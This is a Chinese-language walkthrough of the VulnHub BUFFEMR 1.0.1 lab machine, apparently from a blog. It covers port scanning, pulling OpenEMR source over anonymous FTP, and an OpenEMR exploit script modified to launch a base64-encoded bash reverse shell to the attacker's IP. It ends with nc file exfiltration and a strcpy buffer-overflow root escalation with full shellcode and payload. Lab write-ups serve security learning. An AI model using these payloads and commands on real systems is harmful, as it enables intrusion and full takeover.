准备:

攻击机:虚拟机kali、本机win10。

靶机:BUFFEMR: 1.0.1,下载地址:https://download.vulnhub.com/buffemr/BuffEMR-v1.0.1.ova,下载后直接vbox打开即可。

知识点:openemr框架漏洞、源码敏感信息泄露、缓冲区溢出漏洞提权、gdb调试的使用。

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.5。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.5,显示开放了21、22、80端口,开启了ftp服务、ssh服务、http服务。

FTP服务收集源码信息:

匿名登录ftp服务发现存在一个share文件夹,文件夹中包含了openemr文件家,openemr文件下是项目的源码信息。

将整个项目下载下来,命令:wget -r -np -nH ftp://172.20.10.5/share/openemr/。

在源码中查找信息,经过一番查找之后在tests文件夹的test.accounts文件中获得一个测试账户信息:admin/Monster123。

WEB服务:

访问80服务显示是一个默认页面,没什么信息,尝试访问下/openemr目录,命令:http://172.20.10.5/openemr,成功进入到登录页面。

使用获得账户信息:admin/Monster123进行登录,成功登录到系统。

使用searchsploit搜索下openemr框架的漏洞信息,发现openemr框架的漏洞基本和框架的版本信息有关,那就在web界面找下框架的版本信息,发现是:v5.0.1 (3)。

那就使用searchsploit搜索下openemr框架v5.0.1 (3)的漏洞信息,发现以下漏洞。

漏洞获取shell:

利用php/webapps/45161.py脚本获取shell权限,但是此脚本存在一点问题需要进行修改,修改前后如下

#下面是修改前的
_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
#下面是修改后的
_cmd = "|| echo " + 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy82Njg4IDA+JjE=' + "|base64 -d|bash"

中间的加密的字符是自己对反弹shell的语句进行的base64.b64encode()加密,加密脚本如下

import base64

str = 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1'
mystr = bytes(str,encoding="utf-8")
print(base64.b64encode(mystr))

执行45161.py脚本成功获取到shell权限,命令:python 45161.py http://172.20.10.5/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1',这里后面的命令是不起作用的,因为在代码里写死了。或者将语句修改将加密后的bytes转换成字符串放到语句中,这样的话-c的命令就可以起作用。

提权-buffemr权限:

在var目录下发现一个user.zip文件,将该文件下载下来:

#kali
nc -nlvp 8888 > user.zip #靶机shell
nc 172.20.10.7 8888 < user.zip

但是在解压user.zip文件的时需要密码,尝试使用john、fcrackzip进行爆破,但是均失败,后来在ftp服务中发现的openemr里发现了一组信息,该信息在openemr\sql目录下的keys.sql文件中,信息为:INSERT into ENCKEY (id, name, enckey) VALUES (1, "pdfkey", "c2FuM25jcnlwdDNkCg==");

尝试使用获得c2FuM25jcnlwdDNkCg==进行解密,解密成功,获得user.lst文件,文件信息是一组账户信息:buffemr/Iamgr00t。

使用获得账户信息:buffemr/Iamgr00t切换到buffemr账户权限,但是显示:must be run from a terminal,那我们就直接使用ssh连接,命令:ssh buffemr@172.20.10.5,成功获得buffemr账户权限。

获得buffemr权限后在/home/buffemr目录下发现user_flag.txt文件,读取该文件成功获取到flag值。

提权-root权限-缓冲区溢出提权:

通过:find / -perm -4000 -type f 2>/dev/null,来查找可疑文件,发现dontexecute文件。

查看dontexecute文件,发现其存在一个未进行限制的strcpy函数,那么这可能就存在内存溢出漏洞。

我们先查看下ASLR(地址随机化,一种缓冲区溢出的安全保护技术)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,发现已被禁止。

使用gdb进行调试程序,命令:gdb -q dontexecute。

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。

将生成的字符串用命令 r 在 gdb 中运行,如下,程序报错,显示在这个地址出现错误:0x31724130。

计算下此地址:0x31724130的偏移量,命令:./pattern_offset.rb -q 0x31724130,得到其偏移量为512。

在网上找了一个shell:\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh,共53个字节,因此需要从512-53=459的地方开始执行我们的命令,因此payload:$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')。

#shell
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
#payload
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')

退出gdb模式,使用dontexecute文件来执行我们的payload,命令:./dontexecute payload,成功获得root权限。

获得root权限后在/root目录下发现Root_flag.txt文件,读取该文件成功获得flag值。

vulnhub靶场之BUFFEMR: 1.0.1的更多相关文章

  1. vulnhub靶场之JANGOW: 1.0.1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...

  2. 【Vulnhub靶场】JANGOW: 1.0.1

    时隔这么久,终于开始做题了 环境准备 下载靶机,导入到virtualBox里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2 ...

  3. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  4. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  5. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  8. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  9. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  10. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

随机推荐

  1. Spring Ioc容器xml配置

    Spring Ioc容器xml配置基本结构: <?xml version="1.0" encoding="UTF-8"?> <beans xm ...

  2. Dubbo 02: 直连式

    直连式 需要用到两个相互独立的maven的web项目 项目1:o1-link-userservice-provider 作为服务的提供者 项目2:o2-link-consumer 作为使用服务的消费者 ...

  3. 第二阶段:高级核心基础知识·第4章shell特性·2

    1.统计日志,日志内容 39.96.187.239 - - [11/Nov/2019:10:08:01 +0800] "GET / HTTP/1.1" 302 0 "-& ...

  4. dockerNginx代理本地目录

    dockerNginx代理本地目录 ssl_certificate cert/5900588_test.zk.limengkai.work.pem; ssl_certificate_key cert/ ...

  5. Seata Server 1.5.2 源码学习

    Seata 包括 Server端和Client端.Seata中有三种角色:TC.TM.RM,其中,Server端就是TC,TM和RM属Client端.Client端的源码学习上一篇已讲过,详见 < ...

  6. 2022-11-10 Acwing每日一题

    本系列所有题目均为Acwing课的内容,发表博客既是为了学习总结,加深自己的印象,同时也是为了以后回过头来看时,不会感叹虚度光阴罢了,因此如果出现错误,欢迎大家能够指出错误,我会认真改正的.同时也希望 ...

  7. Jenkinsfile 同时检出多个 Git 仓库

    前置 通常,在 Jenkinsfile 中使用 Git 仓库是这样的: stage('Checkout git repo') { steps { checkout([ $class: 'GitSCM' ...

  8. Spring Cloud Circuit Breaker 使用示例

    Spring Cloud Circuit Breaker 使用示例 作者: Grey 原文地址: 博客园:Spring Cloud Circuit Breaker 使用示例 CSDN:Spring C ...

  9. 线性时间选择(含平均情况O(n)和最坏情况O(n)算法)

    前言 本篇文章我将介绍 期望为线性时间 的选择算法和 最坏情况为线性时间 的选择算法,即分别为 平均情况下时间复杂度为O(n) 和 最坏情况下时间复杂度为O(n) 的线性时间选择.以下包含了我自己的全 ...

  10. C温故补缺(十二):预编译器与头文件

    预编译器 预编译器就是之前学的预编译指令的执行者 gcc -E test.c -o test.i 生成预编译文件就是翻译#指令 比如#include<stdio.h>就是把整个stdio. ...